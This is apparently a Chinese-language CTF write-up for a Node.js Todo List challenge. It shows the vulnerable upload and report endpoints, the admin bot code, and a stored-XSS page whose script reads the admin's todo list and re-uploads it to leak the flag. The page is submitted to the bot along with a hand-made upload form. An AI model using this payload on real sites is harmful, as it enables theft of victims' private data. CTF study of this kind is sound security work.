题目 题目程序是一个 Node.js 编写的 Todo List。进行一通代码审计后可以发现本题的关键:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 app.post ('/api/upload' , upload.single ('file' ), (req, res ) => { return res.send ('文件上传成功!' ); }); app.post ("/api/report" , express.json ({ type : Object }), function (req, res ) { if (!req.session .username ) return res.send ("Login first!" ); if (reportIpsList.has (req.ip ) && reportIpsList.get (req.ip )+90 > now ()){ return res.send (`Please comeback ${reportIpsList.get(req.ip)+90 -now()} s later!` ); } reportIpsList.set (req.ip ,now ()); const { url } = req.body ; if (typeof url !== 'string' ) return res.send ("Invalid URL" ); if (!url || !RegExp ('^http://127\.0\.0\.1.*$' ).test (url)) { return res.status (400 ).send ('Invalid URL' ); } try { vist (url); return res.send ("admin has visted your url" ); } catch { return res.send ("some error!" ); } });
以及:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const visit = async url => { var browser; try { browser = await puppeteer.launch ({ headless : false , executablePath : 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe' , args : ['--no-sandbox' ] }); page = await browser.newPage (); await page.goto (SITE ); await page.waitForTimeout (500 ); await page.type ('#username' , 'admin' ); await page.type ('#password' , ADMIN_PASSWORD ); await page.click ('#btn' ) await page.waitForTimeout (800 ); await page.goto (url); await page.waitForTimeout (3000 ); await browser.close (); } catch (e) { console .log (e); } finally { if (browser) await browser.close (); } }
题解 显然,这是希望选手去构造一个页面对 admin 发动 XSS 攻击。那么需要获取什么内容呢?继续代码审计可以发现 Flag 的踪迹:
1 db.set ('admin' , {password : crypto.createHash ('sha256' ).update (ADMIN_PASSWORD , 'utf8' ).digest ('hex' ), todos : [{text : FLAG , isURL : false }]});
此处直接将 Flag 作为 admin 的一项 Todo 保存在数据库中。那么,我们只需要构造一个页面,将 admin 的 Todo List 读取出来即可。顺带,不要被 /api/upload
接口上方 Deving 的注释迷惑,这个接口可以正常将文件上传到服务器上。我在此处构造了这样的一个页面:
1 2 3 4 5 6 7 8 9 10 11 12 <script > const upload = (filename, content ) => fetch ("/api/upload" , { "headers" : { "content-type" : "multipart/form-data; boundary=----WebKitFormBoundaryixF7U7xiqrS0nU9E" }, "body" : "------WebKitFormBoundaryixF7U7xiqrS0nU9E\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\nContent-Type: application/octet-stream\r\n\r\n" + content + "\r\n------WebKitFormBoundaryixF7U7xiqrS0nU9E--\r\n" , "method" : "POST" , }); fetch ('/todo' ) .then (res => res.text ()) .then (data => { upload ("data.html" , data); }) </script >
其大致原理是,先通过 /todo
接口获取 admin 的 Todo List,然后将其作为文件上传到服务器上。这样,我们就可以通过 /uploads/data.html
访问到这个文件,从而获取到 admin 的 Todo List,也就能得到 Flag 了。先将这个页面上传到服务器上,可以自己手搓一个上传页面:
1 2 3 4 <form action ="http://[REDACTED]/api/upload" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" id ="file" > <input type ="submit" value ="Upload" > </form >
此处我用的文件名是 xss.html
,将其上传后可以访问 /uploads/xss.html
进行测试,确认其可以正常捕获当前登陆账户的 Todo List 并将其上传:
接下来随意注册一个账号,通过 /todo
页面的 Report 功能将 http://127.0.0.1/uploads/xss.html
提交给 admin,然后等待 admin 访问即可。等待片刻,在 /uploads/data.html
中可以看到 admin 的 Todo List,其中包含了 Flag(此处为本地测试环境):
环境 如果你想要在本地测试,可以使用 node app.js
启动本题的环境。
不过,显然如果要正常运行它需要先进行一些配置。如果在 app.js
中重新指定了端口,别忘了在 bot.js
中也做相应更改,比如:
1 const SITE = process.env .SITE || 'http://127.0.0.1:8000' ;
然后切记重新指定 bot.js
中 Chromium 的路径(自己电脑上任意一个 Chromium 内核浏览器都行),比如:
1 2 3 4 browser = await puppeteer.launch ({ headless : false , executablePath : 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe' , args : ['--no-sandbox' ] });